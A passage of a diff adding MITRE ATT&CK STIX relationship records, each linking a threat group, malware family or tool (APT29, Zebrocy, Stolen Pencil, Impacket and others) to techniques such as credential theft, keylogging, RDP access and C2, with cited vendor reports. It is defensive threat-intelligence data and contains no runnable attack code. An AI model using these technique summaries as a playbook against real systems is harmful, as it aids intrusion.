"[APT29](https://attack.mitre.org/groups/G0016) drops a Windows shortcut file for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:19:17.701Z", + "id": "relationship--8e5d4994-50a5-4a52-9d5b-30a33edb42a7", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.358Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the time zone information from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:15.000Z", + "id": "relationship--9d30b96a-6518-449e-a665-3033dfcb44db", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.646Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) communicates to the C2 server using a custom protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.176Z", + "id": "relationship--d98aed26-0aed-42ba-844d-31ca4a763124", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can inject code from files to other running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.426Z", + "id": "relationship--4c654359-aefe-4c86-a092-44e99931d340", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.426Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from browsers, chats, databases, mail, and WiFi.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:45:00.072Z", + "id": "relationship--b0f355cc-e11f-4027-9db3-59ec64cd367f", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "modified": "2019-06-24T16:21:13.987Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to collect the victim\u2019s IP address and domain name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:41.156Z", + "id": "relationship--4ab6ada3-0129-4f34-ba29-b793c6d98fff", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.029Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has copied files to company web servers and subsequently downloaded them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.182Z", + "id": "relationship--2cc18ee4-ccde-4b2a-a280-b783e1ede529", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses the tasklist and wmic process get Capture, ExecutablePath commands to gather the processes running on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:39:48.467Z", + "id": "relationship--1051f320-91fa-4f89-8abe-a851a56e18a7", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.842Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses macros for execution as well as VBS and PowerShell scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.194Z", + "id": "relationship--60bab055-6927-4240-8716-6218dc131aa9", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Denis](https://attack.mitre.org/software/S0354) can launch a remote shell to execute arbitrary commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.520Z", + "id": "relationship--771f612d-ba60-4c3b-a2aa-30ba107ebb50", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.784Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "source_name": "Cybereason Oceanlotus May 2017", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can steal profiles (containing credential information) from Firefox, Chrome, and Opera.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.180Z", + "id": "relationship--4fec4445-7b29-430f-92f0-866f23178777", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.791Z", + "id": "relationship--9c97e0aa-61fd-4f42-881f-763a1b03c16b", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.977Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-01T14:35:39.623Z", + "id": "relationship--dca2d571-c65c-4efb-b05c-86cee13d545a", + "source_ref": "course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70", + "modified": "2019-07-24T19:17:09.484Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Rules, Forms, and Home Pages to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-04T18:27:00.613Z", + "id": "relationship--5aafb851-8cc6-4776-84ed-8613d8e02ba7", + "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", + "modified": "2019-04-22T19:07:12.587Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to enumerate Exchange users and dump the GAL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-04T18:32:07.321Z", + "id": "relationship--c7c8b431-77bb-45ac-9826-bd92828c2f85", + "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", + "modified": "2019-04-22T19:07:12.604Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T13:14:45.865Z", + "id": "relationship--33f1d509-3bca-492a-a08b-9e0561433b5f", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.688Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) gathers credentials using [Moafee](https://attack.mitre.org/groups/G0002) and Procdump.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.524Z", + "id": "relationship--94243a11-a479-426c-be01-225edf41803e", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.248Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to sniff the network for passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.550Z", + "id": "relationship--88a31637-0a37-456c-ad6e-c7011a430641", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.245Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.600Z", + "id": "relationship--6e708676-9242-4faa-9d8d-0de893f626f4", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.358Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.594Z", + "id": "relationship--34c13917-d1ab-4a3e-985e-54aa5b2bb84d", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.250Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to log keystrokes to %userprofile%\\appdata\\roaming\\apach.{txt,log}.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.602Z", + "id": "relationship--6bde353d-2ce0-436e-9a91-6716f121e99d", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.326Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) utilized RDP for direct remote point-and-click access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.606Z", + "id": "relationship--9585d62c-1815-473d-8d50-6145349ae5ec", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.327Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) victims are prompted to install malicious Google Chrome extensions which gave the threat actor the ability to read data from any website accessed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.610Z", + "id": "relationship--ded0250c-8e38-480c-a580-1126b64194e7", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-05T17:56:55.638Z", + "id": "relationship--e305d328-ba42-4023-ac62-1656e3242d49", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.322Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Impacket](https://attack.mitre.org/software/S0357)'s wmiexec module can be used to execute commands through WMI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-07T14:02:20.869Z", + "id": "relationship--891f701a-b0d3-408a-8e2c-e9d9e727930e", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "modified": "2019-04-18T21:49:12.805Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "description": "[Impacket](https://attack.mitre.org/software/S0357) modules like ntlmrelayx and smbrelayx can be used in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040) and [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171) to gather NetNTLM credentials for [Brute Force](https://attack.mitre.org/techniques/T1110) or relay attacks that can gain code execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-07T19:13:01.960Z", + "id": "relationship--0318431e-ad44-44c7-97be-686d4efe79f4", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "modified": "2019-04-18T21:49:12.807Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) creates an entry in a Registry Run key for the malware to execute on startup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.174Z", + "id": "relationship--8839b4ad-24cb-4ad3-a407-947f75591973", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to delete files and directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.206Z", + "id": "relationship--c56a229c-f033-4a51-ad5c-251dff28b87e", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.909Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gets the username from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.217Z", + "id": "relationship--46452566-0f0f-4fe9-9cef-ef7e3d6eee36", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.974Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses port 465 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-12T16:33:29.236Z", + "id": "relationship--c9355fe6-d17d-44ff-8098-bed9a4c478bb", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. 